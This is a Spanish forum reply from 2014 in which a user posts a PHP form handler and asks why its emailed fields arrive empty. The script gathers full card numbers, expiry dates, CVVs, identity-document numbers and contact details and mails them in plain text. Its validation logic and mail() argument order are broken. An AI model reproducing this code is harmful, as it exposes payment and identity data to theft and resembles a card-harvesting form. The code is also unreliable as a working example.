Ver Mensaje Individual
  #2 (permalink)  
Antiguo 28/02/2014, 07:30
Avatar de AngelMarine
AngelMarine
 
Fecha de Ingreso: enero-2014
Ubicación: Madrid
Mensajes: 79
Antigüedad: 10 años, 3 meses
Puntos: 0
Respuesta: Enviar datos de formluario usando mailto sin que se abra outlook

Bueno, ya tengo algo (y surge otro problema, envía el email (y llega inmediato) pero las variables no llegan):

llega algo así:

Número de tarjeta:
Nombre:
Apellidos:

cuando debería llegar así:

Número de tarjeta: 2524 2524 2524 2524
Nombre: Pepe
Apellidos: Apellidos de Pepe

aquí el código, ¿alguna idea?

<?php
if(isset($_POST['submit'])) {

if(trim($_POST['ntarjeta']) == '' && is_numeric($_POST['ntarjeta'])) {
$hasError = true;
} else {
$ntarjeta = trim($_POST['ntarjeta']);
}

if(trim($_POST['month']) == '' && is_numeric($_POST['month'])) {
$hasError = true;
} else {
$month = trim($_POST['month']);
}

if(trim($_POST['year']) == '' && is_numeric($_POST['year'])) {
$hasError = true;
} else {
$year = trim($_POST['year']);
}

if(trim($_POST['cvv']) == '' && is_numeric($_POST['cvv'])) {
$hasError = true;
} else {
$cvv = trim($_POST['cvv']);
}

if(trim($_POST['name']) == '') {
$hasError = true;
} else {
$name = trim($_POST['name']);
}

if(trim($_POST['lastname']) == '') {
$hasError = true;
} else {
$lastname = trim($_POST['lastname']);
}

if(trim($_POST['document']) == '') {
$hasError = true;
} else {
$document = trim($_POST['document']);
}

if(trim($_POST['ndocumento']) == '') {
$hasError = true;
} else {
$ndocumento = trim($_POST['ndocumento']);
}

if(trim($_POST['telephone']) == '') {
$hasError = true;
} else {
$telephone = trim($_POST['telephone']);
}

if(trim($_POST['email']) == '') {
$hasError = true;
} else {
$email = trim($_POST['email']);
}

if(trim($_POST['donate']) == '') {
$hasError = true;
} else {
$donate = trim($_POST['donate']);
}
}

function EmVal($e)
{
return preg_match("/^([a-zA-Z0-9])+([a-zA-Z0-9\._-])*@([a-zA-Z0-9_-])+([a-zA-Z0-9\._-]+)+$/",$e);
}

if(!isset($hasError)) {
$emailTo = '[email protected]';
$body = 'From:<'.$email.'>' . "\r\n" . 'Reply-To: ' . $emailTo;
$headers = "Tarjeta: $ntarjeta \n\nMes: $month \n\nAno:\n $year \n\nCVV:\n $cvv \n\nNombre:\n $name \n\nApellidos:\n $lastname \n\nDocumento:\n $document \n\nNo. Documento:\n $ndocumento \n\nTelefono:\n $telephone \n\nEmail:\n $email \n\nDonacion:\n $donate";

mail($emailTo, $body, $headers);
$emailSent = true;}
?>